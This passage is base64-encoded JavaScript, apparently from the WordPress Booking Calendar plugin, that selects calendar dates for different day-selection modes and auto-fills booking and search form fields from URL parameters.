R2YXIgdGRfY2VsbF9vdXQgPSB3cGJjX2dldF9jbGlja2VkX3RkKCBpbnN0LmlkLCBjaGVja19vdXRfanMgKTtcclxuXHRcdFx0aW5zdC5zdGF5T3BlbiA9IHRydWU7XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fc2VsZWN0RGF5KCB0ZF9jZWxsX291dCwgJyMnICsgaW5zdC5pZCwgY2hlY2tfb3V0X2pzLmdldFRpbWUoKSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gID09IEZJWEVEID09XHJcblx0XHRpZiAoICAnZml4ZWQnID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkpIHtcclxuXHRcdFx0alF1ZXJ5LmRhdGVwaWNrLl9zZWxlY3REYXkoIHRkX2NlbGwsICcjJyArIGluc3QuaWQsIGNoZWNrX2luX2pzLmdldFRpbWUoKSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gID09IFNJTkdMRSA9PVxyXG5cdFx0aWYgKCAnc2luZ2xlJyA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkYXlzX3NlbGVjdF9tb2RlJyApICl7XHJcblx0XHRcdC8valF1ZXJ5LmRhdGVwaWNrLl9yZXN0cmljdE1pbk1heCggaW5zdCwgalF1ZXJ5LmRhdGVwaWNrLl9kZXRlcm1pbmVEYXRlKCBpbnN0LCBjaGVja19pbl9qcywgbnVsbCApICk7XHRcdC8vIERvIHdlIG5lZWQgdG8gcnVuICB0aGlzID8gUGxlYXNlIG5vdGUsIGNoZWNrX2luX2pzIG11c3QgIGhhdmUgdGltZSwgIG1pbiwgc2VjIGRlZmluZWQgdG8gMCFcclxuXHRcdFx0alF1ZXJ5LmRhdGVwaWNrLl9zZWxlY3REYXkoIHRkX2NlbGwsICcjJyArIGluc3QuaWQsIGNoZWNrX2luX2pzLmdldFRpbWUoKSApO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gID09IE1VTFRJUExFID09XHJcblx0XHRpZiAoICdtdWx0aXBsZScgPT09IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZGF5c19zZWxlY3RfbW9kZScgKSApe1xyXG5cclxuXHRcdFx0dmFyIGRhdGVzX2FycjtcclxuXHJcblx0XHRcdGlmICggZGF0ZXNfdG9fc2VsZWN0X2Fyci5sZW5ndGggPiAwICl7XHJcblx0XHRcdFx0Ly8gU2l0dWF0aW9uLCB3aGVuIHdlIGhhdmUgZGF0ZXMgYXJyYXk6IFsnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTMwJ10uICBhbmQgbm90IHRoZSBDaGVjayBJbiAvIENoZWNrICBvdXQgZGF0ZXMgYXMgcGFyYW1ldGVyIGluIHRoaXMgZnVuY3Rpb25cclxuXHRcdFx0XHRkYXRlc19hcnIgPSB3cGJjX2dldF9zZWxlY3Rpb25fZGF0ZXNfanNfc3RyX2Fycl9fZnJvbV9hcnIoIGRhdGVzX3RvX3NlbGVjdF9hcnIgKTtcclxuXHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHRkYXRlc19hcnIgPSB3cGJjX2dldF9zZWxlY3Rpb25fZGF0ZXNfanNfc3RyX2Fycl9fZnJvbV9jaGVja19pbl9vdXQoIGNoZWNrX2luX3ltZCwgY2hlY2tfb3V0X3ltZCwgaW5zdCApO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHRpZiAoIDAgPT09IGRhdGVzX2Fyci5kYXRlc19qcy5sZW5ndGggKXtcclxuXHRcdFx0XHRyZXR1cm4gMDtcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0Ly8gRm9yIENhbGVuZGFyIERheXMgc2VsZWN0aW9uXHJcblx0XHRcdGZvciAoIHZhciBqID0gMDsgaiA8IGRhdGVzX2Fyci5kYXRlc19qcy5sZW5ndGg7IGorKyApeyAgICAgICAvLyBMb29wIGFycmF5IG9mIGRhdGVzXHJcblxyXG5cdFx0XHRcdHZhciBzdHJfZGF0ZSA9IHdwYmNfX2dldF9fc3FsX2NsYXNzX2RhdGUoIGRhdGVzX2Fyci5kYXRlc19qc1sgaiBdICk7XHJcblxyXG5cdFx0XHRcdC8vIERhdGUgdW5hdmFpbGFibGUgIVxyXG5cdFx0XHRcdGlmICggMCA9PSBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKCByZXNvdXJjZV9pZCwgc3RyX2RhdGUgKS5kYXlfYXZhaWxhYmlsaXR5ICl7XHJcblx0XHRcdFx0XHRyZXR1cm4gMDtcclxuXHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdGlmICggZGF0ZXNfYXJyLmRhdGVzX2pzWyBqIF0gIT0gLTEgKSB7XHJcblx0XHRcdFx0XHRpbnN0LmRhdGVzLnB1c2goIGRhdGVzX2Fyci5kYXRlc19qc1sgaiBdICk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHR2YXIgY2hlY2tfb3V0X2RhdGUgPSBkYXRlc19hcnIuZGF0ZXNfanNbIChkYXRlc19hcnIuZGF0ZXNfanMubGVuZ3RoIC0gMSkgXTtcclxuXHJcblx0XHRcdGluc3QuZGF0ZXMucHVzaCggY2hlY2tfb3V0X2RhdGUgKTsgXHRcdFx0Ly8gTmVlZCBhZGQgb25lIGFkZGl0aW9uYWwgU0FNRSBkYXRlIGZvciBjb3JyZWN0ICB3b3JrcyBvZiBkYXRlcyBzZWxlY3Rpb24gISEhISFcclxuXHJcblx0XHRcdHZhciBjaGVja291dF90aW1lc3RhbXAgPSBjaGVja19vdXRfZGF0ZS5nZXRUaW1lKCk7XHJcblx0XHRcdHZhciB0ZF9jZWxsID0gd3BiY19nZXRfY2xpY2tlZF90ZCggaW5zdC5pZCwgY2hlY2tfb3V0X2RhdGUgKTtcclxuXHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fc2VsZWN0RGF5KCB0ZF9jZWxsLCAnIycgKyBpbnN0LmlkLCBjaGVja291dF90aW1lc3RhbXAgKTtcclxuXHRcdH1cclxuXHJcblxyXG5cdFx0aWYgKCAwICE9PSBpbnN0LmRhdGVzLmxlbmd0aCApe1xyXG5cdFx0XHQvLyBTY3JvbGwgdG8gc3BlY2lmaWMgbW9udGgsIGlmIHdlIHNldCBkYXRlcyBpbiBzb21lIGZ1dHVyZSBtb250aHNcclxuXHRcdFx0d3BiY19jYWxlbmRhcl9fc2Nyb2xsX3RvKCByZXNvdXJjZV9pZCwgaW5zdC5kYXRlc1sgMCBdLmdldEZ1bGxZZWFyKCksIGluc3QuZGF0ZXNbIDAgXS5nZXRNb250aCgpKzEgKTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gaW5zdC5kYXRlcy5sZW5ndGg7XHJcblx0fVxyXG5cclxuXHRyZXR1cm4gMDtcclxufVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgSFRNTCB0ZCBlbGVtZW50ICh3aGVyZSB3YXMgY2xpY2sgaW4gY2FsZW5kYXIgIGRheSAgY2VsbClcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBjYWxlbmRhcl9odG1sX2lkXHRcdFx0J2NhbGVuZGFyX2Jvb2tpbmcxJ1xyXG5cdCAqIEBwYXJhbSBkYXRlX2pzXHRcdFx0XHRcdEpTIERhdGVcclxuXHQgKiBAcmV0dXJucyB7KnxqUXVlcnl9XHRcdFx0XHREb20gSFRNTCB0ZCBlbGVtZW50XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19nZXRfY2xpY2tlZF90ZCggY2FsZW5kYXJfaHRtbF9pZCwgZGF0ZV9qcyApe1xyXG5cclxuXHQgICAgdmFyIHRkX2NlbGwgPSBqUXVlcnkoICcjJyArIGNhbGVuZGFyX2h0bWxfaWQgKyAnIC5zcWxfZGF0ZV8nICsgd3BiY19fZ2V0X19zcWxfY2xhc3NfZGF0ZSggZGF0ZV9qcyApICkuZ2V0KCAwICk7XHJcblxyXG5cdFx0cmV0dXJuIHRkX2NlbGw7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgYXJyYXlzIG9mIEpTIGFuZCBTUUwgZGF0ZXMgYXMgZGF0ZXMgYXJyYXlcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBjaGVja19pbl95bWRcdFx0XHRcdFx0XHRcdCcyMDI0LTA1LTE1J1xyXG5cdCAqIEBwYXJhbSBjaGVja19vdXRfeW1kXHRcdFx0XHRcdFx0XHQnMjAyNC0wNS0yNSdcclxuXHQgKiBAcGFyYW0gaW5zdFx0XHRcdFx0XHRcdFx0XHRcdERhdGVwaWNrIEluc3QuIFVzZSB3cGJjX2NhbGVuZGFyX19nZXRfaW5zdCggcmVzb3VyY2VfaWQgKTtcclxuXHQgKiBAcmV0dXJucyB7e2RhdGVzX2pzOiAqW10sIGRhdGVzX3N0cjogKltdfX1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF9zZWxlY3Rpb25fZGF0ZXNfanNfc3RyX2Fycl9fZnJvbV9jaGVja19pbl9vdXQoIGNoZWNrX2luX3ltZCwgY2hlY2tfb3V0X3ltZCAsIGluc3QgKXtcclxuXHJcblx0XHR2YXIgb3JpZ2luYWxfYXJyYXkgPSBbXTtcclxuXHRcdHZhciBkYXRlO1xyXG5cdFx0dmFyIGJrX2Rpc3RpbmN0X2RhdGVzID0gW107XHJcblxyXG5cdFx0dmFyIGNoZWNrX2luX2RhdGUgPSBjaGVja19pbl95bWQuc3BsaXQoICctJyApO1xyXG5cdFx0dmFyIGNoZWNrX291dF9kYXRlID0gY2hlY2tfb3V0X3ltZC5zcGxpdCggJy0nICk7XHJcblxyXG5cdFx0ZGF0ZSA9IG5ldyBEYXRlKCk7XHJcblx0XHRkYXRlLnNldEZ1bGxZZWFyKCBjaGVja19pbl9kYXRlWyAwIF0sIChjaGVja19pbl9kYXRlWyAxIF0gLSAxKSwgY2hlY2tfaW5fZGF0ZVsgMiBdICk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8geWVhciwgbW9udGgsIGRhdGVcclxuXHRcdHZhciBvcmlnaW5hbF9jaGVja19pbl9kYXRlID0gZGF0ZTtcclxuXHRcdG9yaWdpbmFsX2FycmF5LnB1c2goIGpRdWVyeS5kYXRlcGljay5fcmVzdHJpY3RNaW5NYXgoIGluc3QsIGpRdWVyeS5kYXRlcGljay5fZGV0ZXJtaW5lRGF0ZSggaW5zdCwgZGF0ZSwgbnVsbCApICkgKTsgLy9hZGQgZGF0ZVxyXG5cdFx0aWYgKCAhIHdwYmNfaW5fYXJyYXkoIGJrX2Rpc3RpbmN0X2RhdGVzLCAoY2hlY2tfaW5fZGF0ZVsgMiBdICsgJy4nICsgY2hlY2tfaW5fZGF0ZVsgMSBdICsgJy4nICsgY2hlY2tfaW5fZGF0ZVsgMCBdKSApICl7XHJcblx0XHRcdGJrX2Rpc3RpbmN0X2RhdGVzLnB1c2goIHBhcnNlSW50KGNoZWNrX2luX2RhdGVbIDIgXSkgKyAnLicgKyBwYXJzZUludChjaGVja19pbl9kYXRlWyAxIF0pICsgJy4nICsgY2hlY2tfaW5fZGF0ZVsgMCBdICk7XHJcblx0XHR9XHJcblxyXG5cdFx0dmFyIGRhdGVfb3V0ID0gbmV3IERhdGUoKTtcclxuXHRcdGRhdGVfb3V0LnNldEZ1bGxZZWFyKCBjaGVja19vdXRfZGF0ZVsgMCBdLCAoY2hlY2tfb3V0X2RhdGVbIDEgXSAtIDEpLCBjaGVja19vdXRfZGF0ZVsgMiBdICk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8geWVhciwgbW9udGgsIGRhdGVcclxuXHRcdHZhciBvcmlnaW5hbF9jaGVja19vdXRfZGF0ZSA9IGRhdGVfb3V0O1xyXG5cclxuXHRcdHZhciBtZXdEYXRlID0gbmV3IERhdGUoIG9yaWdpbmFsX2NoZWNrX2luX2RhdGUuZ2V0RnVsbFllYXIoKSwgb3JpZ2luYWxfY2hlY2tfaW5fZGF0ZS5nZXRNb250aCgpLCBvcmlnaW5hbF9jaGVja19pbl9kYXRlLmdldERhdGUoKSApO1xyXG5cdFx0bWV3RGF0ZS5zZXREYXRlKCBvcmlnaW5hbF9jaGVja19pbl9kYXRlLmdldERhdGUoKSArIDEgKTtcclxuXHJcblx0XHR3aGlsZSAoXHJcblx0XHRcdChvcmlnaW5hbF9jaGVja19vdXRfZGF0ZSA+IGRhdGUpICYmXHJcblx0XHRcdChvcmlnaW5hbF9jaGVja19pbl9kYXRlICE9IG9yaWdpbmFsX2NoZWNrX291dF9kYXRlKSApe1xyXG5cdFx0XHRkYXRlID0gbmV3IERhdGUoIG1ld0RhdGUuZ2V0RnVsbFllYXIoKSwgbWV3RGF0ZS5nZXRNb250aCgpLCBtZXdEYXRlLmdldERhdGUoKSApO1xyXG5cclxuXHRcdFx0b3JpZ2luYWxfYXJyYXkucHVzaCggalF1ZXJ5LmRhdGVwaWNrLl9yZXN0cmljdE1pbk1heCggaW5zdCwgalF1ZXJ5LmRhdGVwaWNrLl9kZXRlcm1pbmVEYXRlKCBpbnN0LCBkYXRlLCBudWxsICkgKSApOyAvL2FkZCBkYXRlXHJcblx0XHRcdGlmICggIXdwYmNfaW5fYXJyYXkoIGJrX2Rpc3RpbmN0X2RhdGVzLCAoZGF0ZS5nZXREYXRlKCkgKyAnLicgKyBwYXJzZUludCggZGF0ZS5nZXRNb250aCgpICsgMSApICsgJy4nICsgZGF0ZS5nZXRGdWxsWWVhcigpKSApICl7XHJcblx0XHRcdFx0YmtfZGlzdGluY3RfZGF0ZXMucHVzaCggKHBhcnNlSW50KGRhdGUuZ2V0RGF0ZSgpKSArICcuJyArIHBhcnNlSW50KCBkYXRlLmdldE1vbnRoKCkgKyAxICkgKyAnLicgKyBkYXRlLmdldEZ1bGxZZWFyKCkpICk7XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdG1ld0RhdGUgPSBuZXcgRGF0ZSggZGF0ZS5nZXRGdWxsWWVhcigpLCBkYXRlLmdldE1vbnRoKCksIGRhdGUuZ2V0RGF0ZSgpICk7XHJcblx0XHRcdG1ld0RhdGUuc2V0RGF0ZSggbWV3RGF0ZS5nZXREYXRlKCkgKyAxICk7XHJcblx0XHR9XHJcblx0XHRvcmlnaW5hbF9hcnJheS5wb3AoKTtcclxuXHRcdGJrX2Rpc3RpbmN0X2RhdGVzLnBvcCgpO1xyXG5cclxuXHRcdHJldHVybiB7J2RhdGVzX2pzJzogb3JpZ2luYWxfYXJyYXksICdkYXRlc19zdHInOiBia19kaXN0aW5jdF9kYXRlc307XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgYXJyYXlzIG9mIEpTIGFuZCBTUUwgZGF0ZXMgYXMgZGF0ZXMgYXJyYXlcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRlc190b19zZWxlY3RfYXJyXHQ9IFsnMjAyNC0wNS0wOScsJzIwMjQtMDUtMTknLCcyMDI0LTA1LTMwJ11cclxuXHQgKlxyXG5cdCAqIEByZXR1cm5zIHt7ZGF0ZXNfanM6ICpbXSwgZGF0ZXNfc3RyOiAqW119fVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZ2V0X3NlbGVjdGlvbl9kYXRlc19qc19zdHJfYXJyX19mcm9tX2FyciggZGF0ZXNfdG9fc2VsZWN0X2FyciApe1x0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjUwXHJcblxyXG5cdFx0dmFyIG9yaWdpbmFsX2FycmF5ICAgID0gW107XHJcblx0XHR2YXIgYmtfZGlzdGluY3RfZGF0ZXMgPSBbXTtcclxuXHRcdHZhciBvbmVfZGF0ZV9zdHI7XHJcblxyXG5cdFx0Zm9yICggdmFyIGQgPSAwOyBkIDwgZGF0ZXNfdG9fc2VsZWN0X2Fyci5sZW5ndGg7IGQrKyApe1xyXG5cclxuXHRcdFx0b3JpZ2luYWxfYXJyYXkucHVzaCggd3BiY19fZ2V0X19qc19kYXRlKCBkYXRlc190b19zZWxlY3RfYXJyWyBkIF0gKSApO1xyXG5cclxuXHRcdFx0b25lX2RhdGVfc3RyID0gZGF0ZXNfdG9fc2VsZWN0X2FyclsgZCBdLnNwbGl0KCctJylcclxuXHRcdFx0aWYgKCAhIHdwYmNfaW5fYXJyYXkoIGJrX2Rpc3RpbmN0X2RhdGVzLCAob25lX2RhdGVfc3RyWyAyIF0gKyAnLicgKyBvbmVfZGF0ZV9zdHJbIDEgXSArICcuJyArIG9uZV9kYXRlX3N0clsgMCBdKSApICl7XHJcblx0XHRcdFx0YmtfZGlzdGluY3RfZGF0ZXMucHVzaCggcGFyc2VJbnQob25lX2RhdGVfc3RyWyAyIF0pICsgJy4nICsgcGFyc2VJbnQob25lX2RhdGVfc3RyWyAxIF0pICsgJy4nICsgb25lX2RhdGVfc3RyWyAwIF0gKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiB7J2RhdGVzX2pzJzogb3JpZ2luYWxfYXJyYXksICdkYXRlc19zdHInOiBvcmlnaW5hbF9hcnJheX07XHJcblx0fVxyXG5cclxuLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbi8qICA9PSAgQXV0byBGaWxsIEZpZWxkcyAvIEF1dG8gU2VsZWN0IERhdGVzICA9PVxyXG4vLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi9cclxuXHJcbmpRdWVyeSggZG9jdW1lbnQgKS5yZWFkeSggZnVuY3Rpb24gKCl7XHJcblxyXG5cdHZhciB1cmxfcGFyYW1zID0gbmV3IFVSTFNlYXJjaFBhcmFtcyggd2luZG93LmxvY2F0aW9uLnNlYXJjaCApO1xyXG5cclxuXHQvLyBEaXNhYmxlIGRheXMgc2VsZWN0aW9uICBpbiBjYWxlbmRhciwgIGFmdGVyICByZWRpcmVjdGlvbiAgZnJvbSAgdGhlIFwiU2VhcmNoIHJlc3VsdHMgcGFnZSwgIGFmdGVyICBzZWFyY2ggIGF2YWlsYWJpbGl0eVwiIFx0XHRcdC8vRml4SW46IDguOC4yLjNcclxuXHRpZiAgKCAnT24nICE9IF93cGJjLmdldF9vdGhlcl9wYXJhbSggJ2lzX2VuYWJsZWRfYm9va2luZ19zZWFyY2hfcmVzdWx0c19kYXlzX3NlbGVjdCcgKSApIHtcclxuXHRcdGlmIChcclxuXHRcdFx0KCB1cmxfcGFyYW1zLmhhcyggJ3dwYmNfc2VsZWN0X2NoZWNrX2luJyApICkgJiZcclxuXHRcdFx0KCB1cmxfcGFyYW1zLmhhcyggJ3dwYmNfc2VsZWN0X2NoZWNrX291dCcgKSApICYmXHJcblx0XHRcdCggdXJsX3BhcmFtcy5oYXMoICd3cGJjX3NlbGVjdF9jYWxlbmRhcl9pZCcgKSApXHJcblx0XHQpe1xyXG5cclxuXHRcdFx0dmFyIHNlbGVjdF9kYXRlc19pbl9jYWxlbmRhcl9pZCA9IHBhcnNlSW50KCB1cmxfcGFyYW1zLmdldCggJ3dwYmNfc2VsZWN0X2NhbGVuZGFyX2lkJyApICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlIG9uIGFsbCBib29raW5nIGRhdGVzIGxvYWRlZFxyXG5cdFx0XHRqUXVlcnkoICdib2R5JyApLm9uKCAnd3BiY19jYWxlbmRhcl9hanhfX2xvYWRlZF9kYXRhJywgZnVuY3Rpb24gKCBldmVudCwgbG9hZGVkX3Jlc291cmNlX2lkICl7XHJcblxyXG5cdFx0XHRcdGlmICggbG9hZGVkX3Jlc291cmNlX2lkID09IHNlbGVjdF9kYXRlc19pbl9jYWxlbmRhcl9pZCApe1xyXG5cdFx0XHRcdFx0d3BiY19hdXRvX3NlbGVjdF9kYXRlc19pbl9jYWxlbmRhciggc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyX2lkLCB1cmxfcGFyYW1zLmdldCggJ3dwYmNfc2VsZWN0X2NoZWNrX2luJyApLCB1cmxfcGFyYW1zLmdldCggJ3dwYmNfc2VsZWN0X2NoZWNrX291dCcgKSApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fSApO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0aWYgKCB1cmxfcGFyYW1zLmhhcyggJ3dwYmNfYXV0b19maWxsJyApICl7XHJcblxyXG5cdFx0dmFyIHdwYmNfYXV0b19maWxsX3ZhbHVlID0gdXJsX3BhcmFtcy5nZXQoICd3cGJjX2F1dG9fZmlsbCcgKTtcclxuXHJcblx0XHQvLyBDb252ZXJ0IGJhY2suICAgICBTb21lIHN5c3RlbXMgZG8gbm90IGxpa2Ugc3ltYm9sICd+JyBpbiBVUkwsIHNvICB3ZSBuZWVkIHRvIHJlcGxhY2UgdG8gIHNvbWUgb3RoZXIgc3ltYm9sc1xyXG5cdFx0d3BiY19hdXRvX2ZpbGxfdmFsdWUgPSB3cGJjX2F1dG9fZmlsbF92YWx1ZS5yZXBsYWNlQWxsKCAnX15fJywgJ34nICk7XHJcblxyXG5cdFx0d3BiY19hdXRvX2ZpbGxfYm9va2luZ19maWVsZHMoIHdwYmNfYXV0b19maWxsX3ZhbHVlICk7XHJcblx0fVxyXG5cclxufSApO1xyXG5cclxuLyoqXHJcbiAqIEF1dG9maWxsIC8gc2VsZWN0IGJvb2tpbmcgZm9ybSAgZmllbGRzIGJ5ICB2YWx1ZXMgZnJvbSAgdGhlIEdFVCByZXF1ZXN0ICBwYXJhbWV0ZXI6ID93cGJjX2F1dG9fZmlsbD1cclxuICpcclxuICogQHBhcmFtIGF1dG9fZmlsbF9zdHJcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYXV0b19maWxsX2Jvb2tpbmdfZmllbGRzKCBhdXRvX2ZpbGxfc3RyICl7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiAxMC4wLjAuNDhcclxuXHJcblx0aWYgKCAnJyA9PSBhdXRvX2ZpbGxfc3RyICl7XHJcblx0XHRyZXR1cm47XHJcblx0fVxyXG5cclxuLy8gY29uc29sZS5sb2coICdXUEJDX0FVVE9fRklMTF9CT09LSU5HX0ZJRUxEUyggQVVUT19GSUxMX1NUUiApJywgYXV0b19maWxsX3N0cik7XHJcblxyXG5cdHZhciBmaWVsZHNfYXJyID0gd3BiY19hdXRvX2ZpbGxfYm9va2luZ19maWVsZHNfX3BhcnNlKCBhdXRvX2ZpbGxfc3RyICk7XHJcblxyXG5cdGZvciAoIGxldCBpID0gMDsgaSA8IGZpZWxkc19hcnIubGVuZ3RoOyBpKysgKXtcclxuXHRcdGpRdWVyeSggJ1tuYW1lPVwiJyArIGZpZWxkc19hcnJbIGkgXVsgJ25hbWUnIF0gKyAnXCJdJyApLnZhbCggZmllbGRzX2FyclsgaSBdWyAndmFsdWUnIF0gKTtcclxuXHR9XHJcbn1cclxuXHJcblx0LyoqXHJcblx0ICogUGFyc2UgZGF0YSBmcm9tICBnZXQgcGFyYW1ldGVyOlx0P3dwYmNfYXV0b19maWxsPXZpc2l0b3JzMjMxXjJ+bWF4X2NhcGFjaXR5MjMxXjJcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRhX3N0ciAgICAgID0gICAndmlzaXRvcnMyMzFeMn5tYXhfY2FwYWNpdHkyMzFeMic7XHJcblx0ICogQHJldHVybnMgeyp9XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19hdXRvX2ZpbGxfYm9va2luZ19maWVsZHNfX3BhcnNlKCBkYXRhX3N0ciApe1xyXG5cclxuXHRcdHZhciBmaWx0ZXJfb3B0aW9uc19hcnIgPSBbXTtcclxuXHJcblx0XHR2YXIgZGF0YV9hcnIgPSBkYXRhX3N0ci5zcGxpdCggJ34nICk7XHJcblxyXG5cdFx0Zm9yICggdmFyIGogPSAwOyBqIDwgZGF0YV9hcnIubGVuZ3RoOyBqKysgKXtcclxuXHJcblx0XHRcdHZhciBteV9mb3JtX2ZpZWxkID0gZGF0YV9hcnJbIGogXS5zcGxpdCggJ14nICk7XHJcblxyXG5cdFx0XHR2YXIgZmlsdGVyX25hbWUgID0gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YgKG15X2Zvcm1fZmllbGRbIDAgXSkpID8gbXlfZm9ybV9maWVsZFsgMCBdIDogJyc7XHJcblx0XHRcdHZhciBmaWx0ZXJfdmFsdWUgPSAoJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAobXlfZm9ybV9maWVsZFsgMSBdKSkgPyBteV9mb3JtX2ZpZWxkWyAxIF0gOiAnJztcclxuXHJcblx0XHRcdGZpbHRlcl9vcHRpb25zX2Fyci5wdXNoKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCduYW1lJyAgOiBmaWx0ZXJfbmFtZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd2YWx1ZScgOiBmaWx0ZXJfdmFsdWVcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHQgICApO1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIGZpbHRlcl9vcHRpb25zX2FycjtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIFBhcnNlIGRhdGEgZnJvbSAgZ2V0IHBhcmFtZXRlcjpcdD9zZWFyY2hfZ2V0X19jdXN0b21fcGFyYW1zPS4uLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGRhdGFfc3RyICAgICAgPSAgICd0ZXh0XnNlYXJjaF9maWVsZF9fZGlzcGxheV9jaGVja19pbl4yMy4wNS4yMDI0fnRleHRec2VhcmNoX2ZpZWxkX19kaXNwbGF5X2NoZWNrX291dF4yNi4wNS4yMDI0fnNlbGVjdGJveC1vbmVec2VhcmNoX3F1YW50aXR5XjJ+c2VsZWN0Ym94LW9uZV5sb2NhdGlvbl5TcGFpbn5zZWxlY3Rib3gtb25lXm1heF9jYXBhY2l0eV4yfnNlbGVjdGJveC1vbmVeYW1lbml0eV5wYXJraW5nfmNoZWNrYm94XnNlYXJjaF9maWVsZF9fZXh0ZW5kX3NlYXJjaF9kYXlzXjV+c3VibWl0Xl5TZWFyY2h+aGlkZGVuXnNlYXJjaF9nZXRfX2NoZWNrX2luX3ltZF4yMDI0LTA1LTIzfmhpZGRlbl5zZWFyY2hfZ2V0X19jaGVja19vdXRfeW1kXjIwMjQtMDUtMjZ+aGlkZGVuXnNlYXJjaF9nZXRfX3RpbWVefmhpZGRlbl5zZWFyY2hfZ2V0X19xdWFudGl0eV4yfmhpZGRlbl5zZWFyY2hfZ2V0X19leHRlbmReNX5oaWRkZW5ec2VhcmNoX2dldF9fdXNlcnNfaWRefmhpZGRlbl5zZWFyY2hfZ2V0X19jdXN0b21fcGFyYW1zXn4nO1xyXG5cdCAqIEByZXR1cm5zIHsqfVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfYXV0b19maWxsX3NlYXJjaF9maWVsZHNfX3BhcnNlKCBkYXRhX3N0ciApe1xyXG5cclxuXHRcdHZhciBmaWx0ZXJfb3B0aW9uc19hcnIgPSBbXTtcclxuXHJcblx0XHR2YXIgZGF0YV9hcnIgPSBkYXRhX3N0ci5zcGxpdCggJ34nICk7XHJcblxyXG5cdFx0Zm9yICggdmFyIGogPSAwOyBqIDwgZGF0YV9hcnIubGVuZ3RoOyBqKysgKXtcclxuXHJcblx0XHRcdHZhciBteV9mb3JtX2ZpZWxkID0gZGF0YV9hcnJbIGogXS5zcGxpdCggJ14nICk7XHJcblxyXG5cdFx0XHR2YXIgZmlsdGVyX3R5cGUgID0gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YgKG15X2Zvcm1fZmllbGRbIDAgXSkpID8gbXlfZm9ybV9maWVsZFsgMCBdIDogJyc7XHJcblx0XHRcdHZhciBmaWx0ZXJfbmFtZSAgPSAoJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAobXlfZm9ybV9maWVsZFsgMSBdKSkgPyBteV9mb3JtX2ZpZWxkW